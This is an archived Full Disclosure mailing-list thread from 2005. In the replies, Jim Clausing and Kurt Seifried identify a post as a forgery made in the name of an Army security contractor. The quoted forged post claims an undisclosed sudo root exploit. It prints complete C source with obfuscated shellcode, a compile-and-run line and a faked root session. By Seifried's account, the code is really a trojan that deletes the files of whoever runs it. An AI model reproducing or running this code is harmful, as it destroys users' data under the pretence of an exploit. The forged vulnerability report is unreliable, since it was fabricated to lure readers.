Full Disclosure mailing list archives

Re: Undisclosed Sudo Vulnerability ?


From: Jim Clausing <jclausing () isc sans org>
Date: Sat, 30 Jul 2005 23:06:54 -0400 (EDT)

Yeah and having talked to Joel, it was a pretty good forgery.  I'm pretty 
sure he doesn't use Lotus for his e-mail client and I know he wouldn't be 
sending to the list from ee.fju.edu.tw (140.136.145.2).

--
Jim Clausing
GCFA, GCIA, GCFW, GREM, CISSP, CCSA
GPG fingerprint = 30CE 6C98 E795 39FF 6E57  220B 342E E25C 852F 302B

On or about Sat, 30 Jul 2005, Kurt Seifried pontificated thusly:

This is a trojan that will nuke all the files owned by the user running it.

-Kurt

----- Original Message ----- 
From: "Esler, Joel - Contractor" <joel.esler () rcert-s army mil>
To: <full-disclosure () lists grok org uk>
Sent: Saturday, July 30, 2005 12:40 PM
Subject: [Full-disclosure] Undisclosed Sudo Vulnerability ?


About two weeks ago, our proprietary LIDS detected some suspicious shell
activity on an internal .mil machine i am in charged of. Our server runs
latest up2date Debian GNU/Linux on 2.4.31 x86 with grsec/PaX enabled.
Before shutting down the machine and reinstalling it from scratch, we
installed sebek module to monitor all shell activity. Based on the data
we gathered, it seems the attacker gained root privileges using an
undisclosed bug in latest sudo.

$ uname -a
Linux syslog 2.4.31-grsec #1 SMP Tue Jun 21 09:10:06 EDT 2005 i686 
GNU/Linux

$ sudo -V
Sudo version 1.6.8p9

$ ls -al /tmp/.phc
-rwsr-xr-x  1 root root 304873 Jul 05 03:45 /tmp/.phc

Here is an excerpt of a shell session we recorded:

<.........>
$ cat >blaat.uue<<'EH'



--------------------------------------------------------------------------------


EH
$ uudecode blaat.uue
$ cat sudoh.c
/*
*  off by one ebp overwrite in sudo prompt parsing func (bground mode 
only)
*
*  "y0, don't abuse this priv8 exploit to rm boxes. k,thx" - Richard 
Johnson
*
*  gcc -pipe -o sudoh sudoh.c ; ./sudoh
*
*  happy deathday route
*
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>


#define SUDO_PROMPT     "%u@%h> \\%"
#define shellcode       esp
#define RETS_NUM        246 /* generic */
#define NOPS_NUM        116 /* generic */


/*
*  Linux x86 non-interactive exec
*  {0,1,2} fds are closed upon execution of shellcode (use "/bin/sh -c")
*/

char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
               = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                 "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                 "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                 "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                 "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                 "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                 "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                 "cp -p /bin/sh /tmp/.phc; chmod 4755 /tmp/.phc;";
            /* = "\xcc\xeb\xfe"; */



void fill (char *buff, int size, unsigned long val)
{
       unsigned long *ptr = (unsigned long *) buff;

       for (size /= sizeof (unsigned long); size > 0; size--) *ptr++ = 
val;
}


unsigned long get_sp (void)
{
       __asm__ ("lea esp, %eax");
}


char *th30_iz_own3d (char nops_nums, char rets_nums, char *shellcode)
{
       int size = strlen (SUDO_PROMPT) + nops_nums + rets_nums + strlen 
(shellcode);
       unsigned char *nops = alloca (nops_nums);
       unsigned char *rets = alloca (rets_nums);
       unsigned long ret = get_sp ();
       static char exp_buffer [8192];

       /* make sure sudo isatty() fails */
       close (0); close (1); close (2);

       fill (nops, (unsigned char) nops_nums, 0x90909090);
       fill (rets, (unsigned char) rets_nums, ret);

       /* be nice plz */
       if (size > sizeof (exp_buffer)) {
               fprintf (stderr, "buffer's t00 small..\n");
               return NULL;
       }

       snprintf (exp_buffer, sizeof (exp_buffer), "%s%s%s%s",
                 SUDO_PROMPT, /* evilz prompt */
                 nops,
                 shellcode,
                 rets);

       /* exploit buff */
       return exp_buffer;
}



int main(int argv, char *argc[])
{
       char *exploit = th30_iz_own3d (NOPS_NUM, RETS_NUM, shellcode);

       /* thanks again T0dd :) */

       execl ("/usr/bin/sudo", "/usr/bin/sudo", "-b", "-p", exploit, 
"/bin/false", NULL);

       /* ok, shellroot should await you @ "HISTFILE=/dev/null 
/tmp/.phc -p" */

       return 0;
}

$ gcc -pipe -o sudoh sudoh.c
{standard input}: Assembler messages:
{standard input}:5: Warning: Ignoring changed section attributes for .text
$ ./sudoh
$ cat /bin/cat > blaat.uue; rm blaat.uue
$ cat /bin/cat > sudoh.c; rm sudoh.c
$ cat /bin/cat > sudoh; rm sudoh
$ HISTFILE=/dev/null /tmp/.phc -p
id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)
<.........>


Todd Miller, the maintainer of Sudo has been informed yesterday, and it
is strongly advised to "sudo su -c chmod -s sudo" until a patch is out.


J

Joel Esler, GCIA
joel.esler () rcert-s army mil
706-791-7165 DSN: 780-7165
_______________________________________________
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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